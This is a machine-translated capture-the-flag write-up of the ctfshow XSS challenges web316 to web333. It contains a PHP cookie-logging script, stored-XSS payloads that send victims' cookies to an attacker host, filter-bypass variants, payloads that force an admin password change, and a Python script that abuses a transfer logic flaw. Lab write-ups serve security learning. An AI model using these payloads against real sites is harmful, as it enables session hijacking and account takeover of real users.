自分で質問をするプロセスを書き、記録するのは少し時間がかかるかもしれません
記事ディレクトリ
web316
バックグラウンドは時々(通常15秒)リンクにアクセスします(結局、共有ステータスを維持するには10個のeggボットが必要です)。ボットがxssにアクセスすると、管理者のCookieを取得できます。
これを取得するには2つの方法があります。1つはhttps://xsshs.cn/、https://xss.pt/、http://xsscom.comなどのオンラインxssプラットフォームで、xssリンクを生成します。
もう1つは、独自のWebサイトでビルドし、次のようなphpコードを作成することです。
# xss.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
一般的に、最初の方法で十分ですが、2番目の方法しか使用できない場合もあります。たとえば、ctfshowの最終評価の質問では、2番目のマシンはネットワークから出てプロキシできず、2番目のマシンにはXSSがあるため、この場合、2番目の方法のみを使用してCookieを取得できます。
ここではhttps://xss.pt/xss.phpが使用されています。最初に登録してホームページにログインし、[作成]をクリックします。
デフォルトモジュールを選択
さまざまな種類のリンクを取得し、いずれかを使用して「Blessings」を生成し、生成後にタイトルを更新してから、プロジェクトインターフェイスに戻ります。
もちろん、非常に一般的な状況は次のとおりです。あなたは管理者ではありませんフラグなし
慌てる必要はありません。この状況は正常です(つまり、Xが自分自身に到達しました)。あと数回実行してください。
それはとても悲しいです、私は十数回以上自分自身を接続しています
マッド、私は言葉を失います、私はそれにサーバーを置き、それを置き(上記のphpコード)そしてこのステートメントを書きます
<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>
¿¿¿¿¿¿¿¿¿¿¿¿¿
なぜ一度成功したのかわかりません。。
web317
前の質問のペイロードはフィルタリングされているため通過できませんが、何をフィルタリングするかわかりません。スクリプトを本文に置き換えることができます。つまり、スクリプトがフィルタリングされます。
<body οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>
web318
前の質問のペイロードは成功しました
web319
前の質問のペイロードは成功しました
web320
前の質問のペイロードが失敗しました。何がフィルタリングされたかわかりません。ここでテストしてください。
最初のテストは、hrefの前面を削除することです
これは、フィルターポイントが前面にあり、本体に問題がないことを意味します
2回目にウィンドウの前面を削除すると、エコーもあり、フィルターポイントが前面にあることを示します。
オンロードに問題はなく、ボディにも問題はありません。これは、問題がこのスペースにあることを示しています。
バイパス方法:
タブ
/
/ ** /
<body/**/οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>
web321
前の質問のペイロードは成功しました
web322
マッドはとても嫌です。ここでは、サーバー上のxss.phpを別の名前に変更する必要があります。つまり、xssの3文字は表示されません。
<body/**/οnlοad="window.location.href='http://ip/a.php?cookie='+document.cookie"></body>
web323
前の質問のペイロードは成功しました
web324
前の質問のペイロードは成功しました
web325
前の質問のペイロードは成功しました
web326
前の質問のペイロードは成功しました
web327
件名を変更し、XSSを保存しました
受信者は管理者である必要があります
次に、322payloadで手紙の内容を試してください
成功
web328
ログイン、アカウント管理者、パスワードの上にペイロードを試してください
失敗しました。ペイロードでアカウントとパスワードの両方を試してください
まだ失敗しました
ねえ、それに登録ボタンがあります、それを試してみてください。
管理者を登録できません。別の名前を変更してください。ユーザー管理にログインします。管理者のみが表示できます
管理者だけがユーザー管理を見ることができるので、ペイロードをユーザー管理に注入でき、管理者がそれにアクセスできるかどうかを言うという考えがここにあります。
アカウントを登録します。パスワードは上記のペイロードです。
練習の結果は
ここで<script>を使用して試してください。最後にセミコロンを追加する必要があることに注意してください。
<script>window.location.href='http://ip/a.php?cookie='+document.cookie;</script>
ここで管理者のCookieを取得し、Cookieを使用して直接ログインして試してみます
ただし、ここには管理インターフェースが表示されておらず、これは一時的なものであるため、ストレージを直接変更してください
次に、インターフェイスを更新してフラグを確認しますが、フラグが点滅し、ここにはパケットキャプチャしかありません。
web329
方法は上記と同じで、Cookieを取得できますが、それでもページにアクセスできません
その理由は、管理者がページにアクセスした後にログアウトするためです。これは、管理者が前回取得した最新のCookieに相当します。
ここでは方法はありません。ここで、wpがjsを使用していることを確認しました
このようにして、ビデオhttps://www.bilibili.com/video/BV1gi4y1A76pを見る
<script>$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){
window.location.href='http://ip/a.php?cookie='+value.innerHTML;
}
});</script>
その理由は、ctfshowを直接記述する場合、ctfshowを含む最初のクエリは自分自身になるためです。
…
{、ctf +show{を追加します
データが汚染されるたびに新しい範囲を開くことを忘れないでください
web330
パスワードを変更するオプションがあるため、管理者にパスワードを直接変更させないでください
<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>
ペイロードアカウントを登録するだけです
web331
考え方は前と同じですが、メソッドがgetからpostに変更されています
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'2333'}});</script>
web332
旗を買うために9999元、新しい登録されたアカウントは5元を持っています。
それから私は負のお金を自分で追加できることを発見しました、そうでなければそれは減らされるでしょう、ハハハハ
-9999を管理者に転送するだけです
web333
最後の質問のスクリプトを書きたかったのですが、簡単な方法を見つけたので書きませんでした。
ここにスクリプトを書いて登録して、お金を狂わせてください
20分以上書き込んだ後、デバッグを行っていて、ログインできないことがわかりました。。。なぜウーウーなのかわからない
マスター・ユーの台本を読んだ後、自分に送金することでお金を追加することができます。私はバカすぎます。
import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={
'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'mumuzi', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t
この時点で、XSS部分は終了です。